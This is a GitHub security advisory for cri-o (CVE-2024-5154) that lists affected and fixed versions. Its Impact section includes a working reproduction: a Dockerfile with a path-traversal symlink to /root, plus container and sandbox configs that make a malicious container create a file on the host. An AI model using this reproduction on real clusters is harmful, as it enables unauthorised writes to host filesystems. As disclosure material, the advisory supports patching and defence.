~ / search / GHSA-j9hf-98c3-wrm8

GHSA-j9hf-98c3-wrm8

malicious container creates symlink "mtab" on the host External

Source: GitHub Advisory Database (reviewed) High CVE-2024-5154

Packages

EcosystemPackageAffectedFixed in
Go github.com/cri-o/cri-o >= 1.28.6, < 1.28.7 1.28.7
Go github.com/cri-o/cri-o >= 1.29.4, < 1.29.5 1.29.5
Go github.com/cri-o/cri-o >= 1.30.0, < 1.30.1 1.30.1

Details

As written in the advisory (Markdown source, shown as plain text).

### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _Are there any links users can visit to find out more?_

References

External links from the advisory. They lead to third-party sites.